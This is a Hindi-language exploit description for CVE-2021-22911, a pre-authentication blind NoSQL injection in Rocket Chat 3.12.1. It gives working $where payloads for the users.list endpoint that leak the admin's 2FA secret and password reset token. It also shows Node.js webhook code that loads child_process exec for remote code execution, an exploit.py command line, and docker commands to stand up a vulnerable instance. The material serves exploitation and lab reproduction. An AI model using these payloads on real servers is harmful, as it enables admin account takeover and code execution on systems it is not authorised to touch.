
CVE-2021-22911 के लिए शोषण: Rocket Chat 3.12.1 में प्री-ऑथ ब्लाइंड NoSQL इंजेक्शन जो खाता अधिग्रहण और वेबहुक स्क्रिप्टिंग के माध्यम से रिमोट कोड निष्पादन को सक्षम करता है।
Pre-Auth Blind NoSQL Injection जो Rocket Chat 3.12.1 में Remote Code Execution की ओर ले जाती है
तो व्यवस्थापक उपयोगकर्ता के 2fa द्वारा संरक्षित होने की सबसे अधिक संभावना है। इसलिए भले ही हम (1) के माध्यम से व्यवस्थापक का पासवर्ड बदल दें, लॉगिन पर 2fa कोड मांगा जाएगा।
users.list API एंडपॉइंट query पैरामीटर लेता है जो NoSQL इंजेक्शन के लिए संवेदनशील है। हम त्रुटि फेंककर डेटा पुनर्प्राप्त करने में भी सक्षम हैं।
हम व्यवस्थापक का 2fa रहस्य प्राप्त करने के लिए निम्नलिखित क्वेरी चलाते हैं : {"$where":"this.username==='admin' && (()=>{ throw this.services.totp.secret })()"}
इसके बाद हम केवल (1) करते हैं व्यवस्थापक का पासवर्ड रीसेट करने के लिए और 2fa रहस्य का उपयोग करके कोड उत्पन्न करते हैं जिसका उपयोग हम लॉगिन करने के लिए कर सकते हैं।
अद्यतन : आप उसी तरह से रीसेट टोकन भी प्राप्त कर सकते हैं जैसे आपने 2fa रहस्य प्राप्त किया था : {"$where":"this.username==='admin' && (()=>{ throw this.services.password.reset.token })()"}
const require = console.log.constructor('return process.mainModule.require')();
const { exec } = require('child_process');
exec('command here');
python3 exploit.py -u "[email protected]" -a "[email protected]" -t "http://rocket.local"
docker run --name db -d mongo:3.6 --smallfiles --replSet rs0 --oplogSize 128
docker exec -ti db mongo --eval "printjson(rs.initiate())"
docker run --name rocketchat -p 80:3000 --link db --env ROOT_URL=http://localhost --env MONGO_OPLOG_URL=mongodb://db:27017/local -d rocket.chat:3.12.1
नोट: यदि आप नहीं चाहते कि व्यवस्थापक 2FA द्वारा संरक्षित हो तो आप निम्न कार्य कर सकते हैं।
# Admin Account Takover [ No 2fa ]
forgotpassword(adminmail,target)
token = resettoken(target)
changingpassword(target,token)